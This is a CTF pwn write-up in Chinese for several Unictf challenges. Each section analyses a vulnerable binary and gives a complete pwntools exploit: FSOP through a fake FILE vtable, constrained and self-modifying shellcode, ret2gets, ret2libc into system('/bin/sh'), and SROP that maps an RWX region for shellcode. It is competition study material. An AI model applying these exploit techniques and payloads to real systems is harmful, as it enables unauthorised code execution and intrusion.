EzIO
~/Unictf/EzIO checksec pwn [*] '/home/ubuntu/Unictf/EzIO/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64' SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes
int __fastcall main (int argc, const char **argv, const char **envp) { buf[0 ] = (char *)getshell; fp = (FILE *)buf; read(0 , buf, 0x820u LL); fclose(fp); return 0 ; }
.bss:0000000000404041 align 20h .bss:0000000000404060 public buf .bss:0000000000404060 ; char *buf[256] .bss:0000000000404060 buf dq 100h dup(?) ; DATA XREF: main+F↑w .bss:0000000000404060 ; main+16↑o ... .bss:0000000000404860 public fp .bss:0000000000404860 ; FILE *fp .bss:0000000000404860 fp dq ? ; DATA XREF: main+1D↑w .bss:0000000000404860 ; main+42↑r
glibc只有2.23,这是一个简单的FSOP
只需要_lock可写,并且vtable没有检查,fclose调用的是vtable+0x10的函数
所以只需要
0x88 _lock -> writable0xd8 vtable -- | 0xe0 fake_t <-0xf0 getshell
这题还有后门函数
.text:00000000004011 CE ; void __cdecl getshell () .text:00000000004011CE public getshell .text:00000000004011CE getshell proc near ; DATA XREF: main+8 ↑o .text:00000000004011 CE ; __unwind { .text:00000000004011 CE endbr64 .text:00000000004011 D2 push rbp .text:00000000004011 D3 mov rbp, rsp .text:00000000004011 D6 lea rax, command ; "cat /data/flag" .text:00000000004011 DD mov rdi, rax ; command .text:00000000004011E0 call _system .text:00000000004011E5 nop .text:00000000004011E6 pop rbp .text:00000000004011E7 retn .text:00000000004011E7 ; } .text:00000000004011E7 getshell endp
p=start() fake_io = flat( { 0x88 :0x404960 , 0xD8 :0x404060 +0xe0 , }, filler=b'\x00' , ) payload=fake_io+p64(0 )*2 +p64(0x4011D6 ) p.send(payload) p.interactive()
什么?我不是汇编高手吗?
~/Unictf/shellcode checksec pwn [*] '/home/ubuntu/Unictf/shellcode/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
分析一下
int __fastcall main (int argc, const char **argv, const char **envp) { int v4; int n4; int i; int n10; _BYTE *addr_1; _BYTE *addr; setvbuf(_bss_start, 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); addr = mmap(0LL , 0x1000u LL, 3 , 34 , -1 , 0LL ); if ( addr == (_BYTE *)-1LL ) return 1 ; printf ("%p\n" , addr); addr_1 = addr; v4 = 1 ; while ( v4 && addr_1 < addr + 4091 ) { n4 = 0 ; for ( i = 0 ; i <= 3 ; ++i ) { n10 = fgetc(stdin ); if ( n10 == -1 || n10 == 10 ) { v4 = 0 ; break ; } addr_1[i + 1 ] = n10; ++n4; } if ( n4 == 4 ) { *addr_1 = -23 ; addr_1 += 5 ; } } mprotect(addr, 0x1000u LL, 5 ); ((void (*)(void ))addr)(); return 0 ; }
.text:00000000004011F6 ; unsigned __int64 getshell() .text:00000000004011F6 public getshell .text:00000000004011F6 getshell proc near .text:00000000004011F6 .text:00000000004011F6 var_8 = qword ptr -8 .text:00000000004011F6 .text:00000000004011F6 ; __unwind { .text:00000000004011F6 endbr64 .text:00000000004011FA push rbp .text:00000000004011FB mov rbp, rsp .text:00000000004011FE sub rsp, 10h .text:0000000000401202 mov rax, fs:28h .text:000000000040120B mov [rbp+var_8], rax .text:000000000040120F xor eax, eax .text:0000000000401211 lea rax, command ; "cat /data/flag" .text:0000000000401218 mov rdi, rax ; command .text:000000000040121B call _system .text:0000000000401220 nop .text:0000000000401221 mov rax, [rbp+var_8] .text:0000000000401225 sub rax, fs:28h .text:000000000040122E jz short locret_401235 .text:0000000000401230 call ___stack_chk_fail .text:0000000000401235 ; --------------------------------------------------------------------------- .text:0000000000401235 .text:0000000000401235 locret_401235: ; CODE XREF: getshell+38↑j .text:0000000000401235 leave .text:0000000000401236 retn .text:0000000000401236 ; } // starts at 4011F6 .text:0000000000401236 getshell endp
shellcode的执行是使用call rdx
进入后的寄存器状态是
RAX 0 RBX 0x7ffc46014378 —▸ 0x7ffc46015e6d ◂— '/home/ubuntu/Unictf/shellcode/pwn' RCX 0x7e042b925c4b (mprotect+11) ◂— cmp rax, -0xfff RDX 0x7e042bb62000 ◂— [shellcode] RDI 0x7e042bb62000 ◂— [shellcode] RSI 0x1000 R8 0xf R9 0 R10 1 R11 0x246 R12 1 R13 0 R14 0x403da8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 R15 0x7e042bb9d000 (_rtld_global) —▸ 0x7e042bb9e2e0 ◂— 0 RBP 0x7ffc46014250 —▸ 0x7ffc460142f0 —▸ 0x7ffc46014350 ◂— 0 *RSP 0x7ffc46014218 —▸ 0x40139b (main+356) ◂— mov eax, 0 *RIP 0x7e042bb62000 ◂— [shellcode]
我们的输入则是四个四个为一组
形成这样的结构
00 : e9 xx xx xx xx05 : e9 xx xx xx xx... xx: 00 xx xx xx (或者 xx: e9 xx xx xx xx)
不足一组的前面补\x00,满一组的前面补\xe9
\xe9机器码代表jmp imm32,就是
00 : jmp imm32 ---> imm32+5 : xx
mmap的地址一般都是处在与ld相邻的低地址处,而我们的后门函数处在一个极低的地址,不可能通过偏移得到
因此我想到了call rax
只需要控制rax,可以使用mov rax,imm32,长度是5,不够塞进我们的4个一组,但是发现不足一组的前面补\x00,而我们要实现的
mov rax,imm32可以这样
后面接上call rax
前面接上jmp 1就可以跳过e9 b8 0f 12 40 00的第一字节
总结起来就是
e9 01 00 00 00 e9 b8 0f 12 40 00 ff d0
► 0x7e042bb62000 jmp 0x7e042bb62006 <0x7e042bb62006> ↓ 0x7e042bb62006 mov eax, getshell+25 EAX => 0x40120f (getshell+25) ◂— xor eax, eax 0x7e042bb6200b call rax <getshell+25>
p=start() p.sendline(b'\x01\x00\x00\x00\xb8\x0f\x12\x40\xff\xd0' ) p.interactive()
Surpize
~/Unictf/Surprize checksec pwn [*] '/home/ubuntu/Unictf/Surprize/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
源码是
int __fastcall main (int argc, const char **argv, const char **envp) { const char **envp_1; init(argc, argv, envp); lmao(); main(argc, argv, envp_1); return 0 ; } int init () { setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(_bss_start, 0LL , 2 , 0LL ); return setvbuf(stderr , 0LL , 2 , 0LL ); } int __fastcall main (int argc, const char **argv, const char **envp) { __int64 v4; gets(&v4, argv, envp, 8LL ); return 0 ; } signed __int64 wutihave () { const char *envp; const char *argv[4 ]; argv[3 ] = "/bin/ls" ; argv[0 ] = "/bin/ls" ; argv[1 ] = 0LL ; argv[2 ] = 0LL ; envp = 0LL ; return sys_execve("/bin/ls" , argv, &envp); } ssize_t __fastcall leimicc (const char *file) { const char *envp; const char *argv[4 ]; stat buf; const char *filename; if ( stat(file, &buf) ) return write(1 , "No such file or directory\n" , 0x1Au LL); filename = "/bin/cat" ; argv[0 ] = "/bin/cat" ; argv[1 ] = file; argv[2 ] = 0LL ; envp = 0LL ; return sys_execve("/bin/cat" , argv, &envp); }
lmao这个只是一个动画展示,接收一个char就停止了,漏洞就是没有canary的gets
看似很简单,实则全是坏心眼
没有pop rdi,只能使用ret2gets大法了
先控制好rop链
p64(call_gets_addr)+p64(leimicc_addr)
由于第一次gets后要立即接上gets,而第二个gets结束后有leave;retn
.text:0000000000401778 call _gets .text:000000000040177D xor eax, eax .text:000000000040177F test eax, eax .text:0000000000401781 jnz short _4 .text:0000000000401783 leave .text:0000000000401784 retn
所以实际上发现第二个gets前是
pwndbg> stack 10 00:0000│ rax rsp 0x7ffc72294dd8 —▸ 0x401778 (_main+45) ◂— call gets@plt 01:0008│-030 0x7ffc72294de0 —▸ xxxx ... ↓ 5 skipped 07:0038│ rbp 0x7ffc72294e10 —▸ xxxx 08:0040│+008 0x7ffc72294e18 —▸ xxxx 09:0048│+010 0x7ffc72294e20 —▸ xxxx
控制rop链
p64(call_gets_addr)+p64(leimicc_addr)*6 +p64(rbp_addr)+p64(leimicc_addr)
就是
pwndbg> stack 10 00:0000│ rax rsp 0x7ffc72294dd8 —▸ 0x401778 (_main+45) ◂— call gets@plt 01:0008│-030 0x7ffc72294de0 —▸ 0x4016a2 (leimicc) ◂— endbr64 ... ↓ 5 skipped 07:0038│ rbp 0x7ffc72294e10 —▸ 0x404a00 ◂— 0 08:0040│+008 0x7ffc72294e18 —▸ 0x4016a2 (leimicc) ◂— endbr64 09:0048│+010 0x7ffc72294e20 —▸ 0x7ffc72294e00 —▸ 0x4016a2 (leimicc) ◂— endbr64
然后第二个gets就可以使用ret2gets了
payload2=b"/fla" +p8(u8(b"g" )+1 )
远程打的时候发现不存在这个文件,于是先用wutihave看了看有什么文件
发现是flag_c83c4995a8d5c1f80eca464f6f9282fa
于是重新换了文件名就对了
p=start() call_gets_addr=0x401778 leimicc_addr=0x4016A2 rbp_addr=0x404a00 wutihave_addr=0x401653 """ payload1=b'a'+p64(0wutihave_addr) p.sendline(payload1) """ payload1=b'a' +p64(call_gets_addr)+p64(leimicc_addr)*6 +p64(rbp_addr)+p64(leimicc_addr) p.sendline(payload1) payload2=b"flag" +p8(u8(b"_" )+1 )+b'c83c4995a8d5c1f80eca464f6f9282fa' p.sendline(payload2) p.interactive()
ezpwn
~/Unictf/ezpwn checksec pwn [*] '/home/ubuntu/Unictf/ezpwn/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'./' SHSTK: Enabled IBT: Enabled Stripped: No
int __fastcall __noreturn main (int argc, const char **argv, const char **envp) { setbuf(_bss_start, 0LL ); setbuf(stdin , 0LL ); g1(); } void __noreturn g1 () { __int64 buf; _QWORD v1[2 ]; v1[1 ] = __readfsqword(0x28u ); v1[0 ] = 0LL ; buf = 0LL ; read(0 , &buf, 8uLL ); write(1 , (char *)v1 + buf, 5uLL ); g2(); } void __noreturn g2 () { read(0 , &ptr, 8uLL ); read(0 , ptr, 0xC0u LL); exit (0 ); }
一个栈上地址泄露,一个任意地址写0xC0,似乎太短了不够打house of apple2之类的
尝试返回main函数得到多次泄露,多次读
要想返回main可以劫持read(0, ptr, 0xC0uLL);的返回地址
先泄露出栈地址,劫持read的返回地址
03:0018│ rax rsi 0x7fff812444d8 —▸ 0x61aa383dd203 (g2+58) ◂— mov edi, 0 | 00:0000│ rsi rsp 0x7fff812444d8 —▸ 0x61aa383dd20d (g1) ◂— endbr64
这样只需要爆破就行了,概率有1/16,还是比较快的
后面依样画葫芦泄露出libc然后ret2libc就行了
def boom (): p.send(b'\x10' ) stack_addr=u64(p.recv(5 )+b'\x7f' +b'\x00\x00' ) log.info(f"stack_addr: {hex (stack_addr)} " ) p.send(p64(stack_addr-0x48 )) p.send(b'\x0d\x22' ) sleep(0.5 ) p.send(b'\x01\x01' ) offset=0x29ce0 libc_addr=u64(b'\x65' +p.recv(5 )+b'\x00\x00' )-133 -offset log.info(f"libc_addr: {hex (libc_addr)} " ) p.send(p64(stack_addr-0x80 )) pop_rdi_addr=libc_addr+0x2a145 system_addr=libc_addr+ 0x53110 payload=p64(pop_rdi_addr)+p64(stack_addr-0x68 )+p64(system_addr)+b'/bin/sh\x00' p.send(payload) for i in range (48 ): try : p=start() boom() break except : log.failure(b"trying" ) log.failure(i) p.close() continue p.interactive()
shadow
~/Unictf/shadow checksec pwn [*] '/home/ubuntu/Unictf/shadow/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled
__int64 __fastcall main (__int64 a1, char **a2, char **a3) { void *retaddr; sub_1229(a1, a2, a3); signal(11 , handler); qword_4050 = (__int64)mmap(0LL , 0x1000u LL, 3 , 34 , -1 , 0LL ); if ( qword_4050 == -1 ) return 1LL ; *(_QWORD *)(qword_4050 + 8LL * n256++) = retaddr; if ( n256 > 256 ) exit (-1 ); sub_1460(); qword_4060 = *(_QWORD *)(8LL * --n256 + qword_4050); qword_4068 = (__int64)retaddr; if ( (void *)qword_4060 != retaddr ) retaddr = (void *)qword_4060; return 0LL ; } void *sub_1460 () { void *result; char s[8 ]; void *retaddr; *(_QWORD *)(qword_4050 + 8LL * n256++) = retaddr; if ( n256 > 256 ) exit (-1 ); memset (s, 0 , sizeof (s)); sub_1393(); read(0 , s, 8uLL ); printf ("%.8s" , s); qword_4060 = *(_QWORD *)(8LL * --n256 + qword_4050); qword_4068 = (__int64)retaddr; result = retaddr; if ( (void *)qword_4060 != retaddr ) { result = (void *)qword_4060; retaddr = (void *)qword_4060; } return result; } void *sub_1393 () { void *result; _BYTE buf[16 ]; void *retaddr; *(_QWORD *)(qword_4050 + 8LL * n256++) = retaddr; if ( n256 > 256 ) exit (-1 ); read(0 , buf, 0x40u LL); qword_4060 = *(_QWORD *)(8LL * --n256 + qword_4050); qword_4068 = (__int64)retaddr; result = retaddr; if ( (void *)qword_4060 != retaddr ) { result = (void *)qword_4060; retaddr = (void *)qword_4060; } return result; } void handler () { _BYTE buf[16 ]; void *retaddr; *(_QWORD *)(qword_4050 + 8LL * n256++) = retaddr; if ( n256 > 256 ) exit (-1 ); read(0 , buf, 0x120u LL); qword_4060 = *(_QWORD *)(8LL * --n256 + qword_4050); qword_4068 = (__int64)retaddr; if ( (void *)qword_4060 != retaddr ) retaddr = (void *)qword_4060; }
一个没有canary,有极大溢出的题,但是不能劫持elf函数的返回地址,只能劫持libc中函数的返回地址
而signal里面有call sigreturn,而且有这么大的溢出,那么就是SROP了
另外printf的参数是使用rbp定位的,第一次溢出rbp的最后一个字节就可能撞到[rbp-0x8]是elf地址
既然rbp已经被破坏了,那么第二次返回是leave,ret使得rsp、rbp处在错误的位置上,shadow无法修复rsp,从main返回时就会发生段错误
read -> 00 :0000 │ rsi rsp 0x7ffd5ba9e090 ◂— 0x6161616161616161 ('aaaaaaaa' )01 :0008 │-008 0x7ffd5ba9e098 ◂— 0x6161616161616161 ('aaaaaaaa' )02 :0010 │ rbp 0x7ffd5ba9e0a0 —▸ 0x7ffd5ba9e0d0 —▸ 0x7ffd5ba9e170 —▸ 0x7ffd5ba9e1d0 ◂— 0 03 :0018 │+008 0x7ffd5ba9e0a8 —▸ 0x64cee35ef4d8 ◂— lea rax, [rbp - 8 ] leave;retn -> 00 :0000 │ rsp 0x7ffd5ba9e0b0 —▸ 0x7ffd5ba9e1f8 —▸ 0x7ffd5ba9f98b ◂— '/home/ubuntu/Unictf/shadow/pwn_patched' 01 :0008 │-018 0x7ffd5ba9e0b8 ◂— 0 02 :0010 │-010 0x7ffd5ba9e0c0 —▸ 0x7ffd5ba9e0d0 —▸ 0x7ffd5ba9e170 —▸ 0x7ffd5ba9e1d0 ◂— 0 03 :0018 │-008 0x7ffd5ba9e0c8 —▸ 0x64cee35ef6f7 ◂— mov rax, qword ptr [rip + 0x2952 ]04 :0020 │ rbp 0x7ffd5ba9e0d0 —▸ 0x7ffd5ba9e170 —▸ 0x7ffd5ba9e1d0 ◂— 0 05 :0028 │+008 0x7ffd5ba9e0d8 —▸ 0x7734f6c2a1ca (__libc_start_call_main+122 ) ◂— mov edi, eax06 :0030 │+010 0x7ffd5ba9e0e0 —▸ 0x7ffd5ba9e120 —▸ 0x64cee35f1d88 —▸ 0x64cee35ef1e0 ◂— endbr6407 :0038 │+018 0x7ffd5ba9e0e8 —▸ 0x7ffd5ba9e1f8 —▸ 0x7ffd5ba9f98b ◂— '/home/ubuntu/Unictf/shadow/pwn_patched' read -> 00 :0000 │ rsp 0x7ffd5ba9e0b0 —▸ 0x7ffd5ba9e1f8 —▸ 0x7ffd5ba9f98b ◂— '/home/ubuntu/Unictf/shadow/pwn_patched' 01 :0008 │-018 0x7ffd5ba9e0b8 ◂— 0 02 :0010 │-010 0x7ffd5ba9e0c0 —▸ 0x7ffd5ba9e0d0 —▸ 0x7ffd5ba9e170 —▸ 0x7ffd5ba9e1d0 ◂— 0 03 :0018 │ rsi 0x7ffd5ba9e0c8 —▸ 0x64cee35ef611 ◂— sub al, byte ptr [rax] 04 :0020 │ rbp 0x7ffd5ba9e0d0 —▸ 0x7ffd5ba9e170 —▸ 0x7ffd5ba9e1d0 ◂— 0 05 :0028 │+008 0x7ffd5ba9e0d8 —▸ 0x7734f6c2a1ca (__libc_start_call_main+122 ) ◂— mov edi, eax06 :0030 │+010 0x7ffd5ba9e0e0 —▸ 0x7ffd5ba9e120 —▸ 0x64cee35f1d88 —▸ 0x64cee35ef1e0 ◂— endbr6407 :0038 │+018 0x7ffd5ba9e0e8 —▸ 0x7ffd5ba9e1f8 —▸ 0x7ffd5ba9f98b ◂— '/home/ubuntu/Unictf/shadow/pwn_patched' shadow protect success -> 00 :0000 │ rsp 0x7ffd5ba9e0b0 —▸ 0x7ffd5ba9e1f8 —▸ 0x7ffd5ba9f98b ◂— '/home/ubuntu/Unictf/shadow/pwn_patched' 01 :0008 │-018 0x7ffd5ba9e0b8 ◂— 0 02 :0010 │-010 0x7ffd5ba9e0c0 —▸ 0x7ffd5ba9e0d0 —▸ 0x7ffd5ba9e170 —▸ 0x7ffd5ba9e1d0 ◂— 0 03 :0018 │-008 0x7ffd5ba9e0c8 —▸ 0x64cee35ef611 ◂— sub al, byte ptr [rax] 04 :0020 │ rbp 0x7ffd5ba9e0d0 —▸ 0x7ffd5ba9e170 —▸ 0x7ffd5ba9e1d0 ◂— 0 05 :0028 │+008 0x7ffd5ba9e0d8 —▸ 0x64cee35ef6f7 ◂— mov rax, qword ptr [rip + 0x2952 ]06 :0030 │+010 0x7ffd5ba9e0e0 —▸ 0x7ffd5ba9e120 —▸ 0x64cee35f1d88 —▸ 0x64cee35ef1e0 ◂— endbr6407 :0038 │+018 0x7ffd5ba9e0e8 —▸ 0x7ffd5ba9e1f8 —▸ 0x7ffd5ba9f98b ◂— '/home/ubuntu/Unictf/shadow/pwn_patched' leave;retn -> 00 :0000 │ rsp 0x7ffd5ba9e0e0 —▸ 0x7ffd5ba9e120 —▸ 0x64cee35f1d88 —▸ 0x64cee35ef1e0 ◂— endbr6401 :0008 │-088 0x7ffd5ba9e0e8 —▸ 0x7ffd5ba9e1f8 —▸ 0x7ffd5ba9f98b ◂— '/home/ubuntu/Unictf/shadow/pwn_patched' 02 :0010 │-080 0x7ffd5ba9e0f0 ◂— 0x1e35ee040 03 :0018 │-078 0x7ffd5ba9e0f8 —▸ 0x64cee35ef638 ◂— endbr6404 :0020 │-070 0x7ffd5ba9e100 —▸ 0x7ffd5ba9e1f8 —▸ 0x7ffd5ba9f98b ◂— '/home/ubuntu/Unictf/shadow/pwn_patched' shadow protect failed -> RBP 0x7ffd5ba9e170 —▸ 0x7ffd5ba9e1d0 ◂— 0 0x64cee35ef74c mov qword ptr [rbp + 8 ], rax [0x7ffd5ba9e178 ] <= 0x7734f6c2a1ca (__libc_start_call_main+122 ) ◂— mov edi, eax 00 :0000 │ rsp 0x7ffd5ba9e0e0 —▸ 0x7ffd5ba9e120 —▸ 0x64cee35f1d88 —▸ 0x64cee35ef1e0 ◂— endbr64 retn -> 0x64cee35ef759 ret <0x7ffd5ba9e1f8 > ↓ ► 0x7ffd5ba9e1f8 mov edi, ecx EDI => 0 SIGSEGV
进入handle后就可以溢出覆盖Signal Frame,从而控制执行流
这里我选择返回mmap提前控制好mmap的参数开辟一个rwx的区域
由于返回后执行是rsp\rbp还是在rw上的,于是重复一次,使得rsp\rbp落在rwx上
再一次返回时就可以写入shellcode控制rip执行了
elf_base=0 def boom (): payload1=b'a' *0x10 +b'\xd0' p.send(payload1) sleep(0.5 ) p.send(b'\x11' ) def srop (elf_base ): payload =b'a' *0x10 +p64(elf_base+0x4048 )+p64(0 ) payload+=p64(7 )+p64(0 )*2 +p64(0x78de00000002 )+p64(0 ) payload+=p64(0xffffffffffffffff )+p64(0 )+p64(0 )*6 payload+=p64(elf_base+0x7000 ) payload+=p64(0x1000 ) payload+=p64(elf_base+0x4b48 ) payload+=p64(0 ) payload+=p64(7 ) payload+=p64(0 ) payload+=p64(0x22 ) payload+=p64(elf_base+0x4a48 ) payload+=p64(elf_base+0x167E ) p.send(payload) def srop2 (elf_base ): payload =b'a' *0x10 +p64(elf_base+0x4048 )+p64(0 ) payload+=p64(7 )+p64(0 )*2 +p64(0x78de00000002 )+p64(0 ) payload+=p64(0xffffffffffffffff )+p64(0 )+p64(0 )*6 payload+=p64(elf_base+0x8000 ) payload+=p64(0x1000 ) payload+=p64(elf_base+0x7b48 ) payload+=p64(0 ) payload+=p64(7 ) payload+=p64(0 ) payload+=p64(0x22 ) payload+=p64(elf_base+0x7a48 ) payload+=p64(elf_base+0x167E ) p.send(payload) def srop3 (elf_base ): shell = """ push 0x67616c66 mov rdi, rsp xor esi, esi push 0x2 pop rax syscall mov rdi, rax mov rsi, rsp mov edx, 0x100 xor eax, eax syscall mov edi, 0x1 mov rsi, rsp push 0x1 pop rax syscall """ shellcode=asm(shell) payload =b'a' *0x10 +p64(elf_base+0x4048 )+p64(0 ) payload+=p64(7 )+p64(0 )*2 +p64(0x78de00000002 )+p64(0 ) payload+=shellcode payload = payload.ljust(0xc0 , b'\x00' ) payload+=p64(elf_base+0x7c00 ) payload+=p64(elf_base+0x74e8 ) p.send(payload) for i in range (48 ): try : p=start() boom() elf_base = u64(p.recv(8 ).ljust(8 ,b'\x00' ))-0x1611 if elf_base<0x600000000000 and elf_base>0x500000000000 and elf_base%0x1000 ==0 : log.success(f"elf_base: {hex (elf_base)} " ) else : log.failure(f"elf_base: {hex (elf_base)} " ) p.close() continue sleep(0.5 ) srop(elf_base) sleep(0.5 ) p.sendline('/flag\x00' ) sleep(0.5 ) p.sendline('/flag\x00' ) sleep(0.5 ) srop2(elf_base) sleep(0.5 ) p.sendline('/flag\x00' ) sleep(0.5 ) p.sendline('/flag\x00' ) sleep(0.5 ) srop3(elf_base) break except : log.failure(b"trying" ) log.failure(i) p.close() continue p.interactive()
smcode
int __fastcall main (int argc, const char **argv, const char **envp) { setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); vuln(); return 0 ; } void vuln () { void *dest; ssize_t n; _BYTE buf[24 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); dest = mmap(0LL , 0x1000u LL, 7 , 34 , -1 , 0LL ); puts ("Input your shellcode" ); n = read(0 , buf, 0x1000u LL); if ( n <= 0 ) { fwrite("[-] Read failed.\n" , 1uLL , 0x11u LL, stderr ); exit (1 ); } if ( !(unsigned int )check_shellcode(buf, n) ) { fwrite("[-]\n" , 1uLL , 4uLL , stderr ); exit (1 ); } puts ("[+]" ); memcpy (dest, buf, n); __asm { jmp rbx } } __int64 __fastcall check_shellcode (__int64 a1, unsigned __int64 i_1) { unsigned __int64 i; for ( i = 0LL ; i < i_1; ++i ) { if ( !(unsigned int )is_valid_fib(*(unsigned __int8 *)(a1 + i)) ) { fprintf (stderr , "[-] Invalid byte at offset %lu: 0x%02X\n" , i, *(unsigned __int8 *)(a1 + i)); return 0LL ; } } return 1LL ; } __int64 __fastcall is_valid_fib (char a1) { unsigned int i; for ( i = 0 ; i <= 0xC ; ++i ) { if ( a1 == FIB_BYTES[i] ) return 1LL ; } return 0LL ; }
也就是说,只允许使用FIB_BYTES中的
.rodata:0000000000002008 FIB_BYTES db 0, 1, 2, 3, 5, 8, 0Dh, 15h, 22h, 37h, 59h, 90h, 0E9h
不敢相信这是简单题
允许的指令有
37 → AAA 59 → pop rcx 90 → nop 00 00 add [rax], al 00 01 add [rcx], al 00 02 add [rdx], al 00 03 add [rbx], al 00 08 add [rax], cl 00 22 add [rdx], ah 00 37 add [rdi], dh 00 E9 add cl, ch 01 00 add [rax], eax 01 01 add [rcx], eax 01 02 add [rdx], eax 01 03 add [rbx], eax 01 08 add [rax], ecx 01 22 add [rdx], esp 01 37 add [rdi], esi 01 E9 add ecx, ebp 02 00 add al, [rax] 02 01 add al, [rcx] 02 02 add al, [rdx] 02 03 add al, [rbx] 02 08 add cl, [rax] 02 22 add ah, [rdx] 02 37 add dh, [rdi] 02 E9 add ch, cl 03 00 add eax, [rax] 03 01 add eax, [rcx] 03 02 add eax, [rdx] 03 03 add eax, [rbx] 03 08 add ecx, [rax] 03 22 add esp, [rdx] 03 37 add esi, [rdi] 03 E9 add ebp, ecx 08 00 OR [rax], al 08 01 OR [rcx], al 08 02 OR [rdx], al 08 03 OR [rbx], al 08 08 OR [rax], cl 08 22 OR [rdx], ah 08 37 OR [rdi], dh 08 E9 OR ch, cl 22 00 add al, [rax] 22 01 add al, [rcx] 22 02 add al, [rdx] 22 03 add al, [rbx] 22 08 add cl, [rax] 22 22 add ah, [rdx] 22 37 add dh, [rdi] 22 E9 add ch, cl 0x05 add eax, imm32 0x0D or eax, imm32 0x15 adc eax, imm32 0xE9 jmp rel32
初始寄存器状态类似是
RAX 0 RBX 0x786e0266e000 ◂— [shellcode] RCX 0 RDX 0 RDI 0 RSI 0 R8 0x786e0266e000 ◂— [shellcode] R9 0 R10 0x22 R11 0x202 R12 1 R13 0 R14 0x5f2d790dbd80 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5f2d790d9200 (__do_global_dtors_aux) ◂— endbr64 R15 0x786e026a9000 (_rtld_global) —▸ 0x786e026aa2e0 —▸ 0x5f2d790d8000 ◂— 0x10102464c457f RBP 0x7ffdc029af60 —▸ 0x7ffdc029af70 —▸ 0x7ffdc029b010 —▸ 0x7ffdc029b070 ◂— 0 RSP 0x7ffdc0299f30 —▸ 0x786e0266e000 ◂— [shellcode] *RIP 0x786e0266e000 ◂— [shellcode]
对于限制字符的shellcode来说,可以使用add xor等等指令改变shellcode的内容
这里我也使用了这种方法
我选取了rcx作为我的操作寄存器,不仅仅是因为可以使用add [rcx],eax来改变shellcode,而且add cl,ch还可以改变rcx,从而能改变更多条代码
我初步选取了mov rsi,rcx;mov edx,0x1500;xor eax,eax;syscall来实现shellcode的read(0,$rcx,0x1500)进一步读取
我发现要实现add [rcx],eax,却没有mov eax,imm32,意味着每次代码改变都要xor eax,eax
而add cl,ch只有0x100的操作空间,不可能每次都加出来xor eax,eax
只能先xor eax,eax然后先将xor eax,eax布置在每改变一条代码前面在进行下去
经过精妙的布置后,得到了这个
shell = '\x59' shell+= '\x00\xe9' *0xe shell+= '\x05\x08\x00\x00\x00' shell+= '\x05\x15\x00\x00\x00' shell+= '\x05\x59\x03\x00\x00' shell+= '\x05\xe9\x08\x00\x00' shell+= '\x05\xe9\x22\x00\x00' shell+= '\x01\x01' shell+= '\x00\xe9' *0x8 shell+= '\x01\x01' shell+= '\x00\xe9' *0x5 shell+= '\x01\x01' shell+= '\x00\xe9' *0x2 shell+= '\x01\x01' shell+= '\x00\xe9' *0x2 """ # | | | | c88948=90e9e9+3d9f5f # | | | | 3d9f5f=37e9e9+5b576 # | | | | 5b576=590e9+248d # | | | | 248d=22e9+1a4 # | | | | 1a4=190+14 # | | | | 14=d+7 # | | | | 7=5+2 # | | | | """ shell+= '\xe9\x90' shell+= '\x00\xe9' *0xb shell+= '\x05\x02\x00\x00\x00' shell+= '\x05\x05\x00\x00\x00' shell+= '\x05\x0d\x00\x00\x00' shell+= '\x05\x90\x01\x00\x00' shell+= '\x05\xe9\x22\x00\x00' shell+= '\x05\xe9\x90\x05\x00' shell+= '\x05\xe9\xe9\x37\x00' shell+= '\x01\x01' shell+= '\x90' *(0x40 -61 ) shell+= '\xe9\xe9\x90' shell+= '\x00\xe9' *0x1 shell+= '\x90' *(0x10 -0x5 ) """ # | | | 00001500ba # | | | """ shell+= '\xe9\x90' shell+= '\x00\xe9' *0x1 shell+= '\x05\x22\x00\x00\x00' shell+= '\x05\x08\x00\x00\x00' shell+= '\x01\x01' shell+= '\x90\x00\x15\x00\x00' shell+= '\x00\xe9' *0x2 shell+= '\x90' *(0x10 -0x9 ) """ # | | 050f # | | """ shell+= '\xe9\x90' shell+= '\x00\xe9' *0x1 shell+= '\x05\x02\x00\x00\x00' shell+= '\x05\x0d\x00\x00\x00' shell+= '\x01\x01' shell+= '\xe9\x90' shell+= '\x90' *(0x10 -0x2 ) shell+= '\x00\x05' p.send(shell) sleep(0.5 ) getshell=b'a' *0x52 +asm(shellcraft.sh()) p.send(getshell) p.interactive()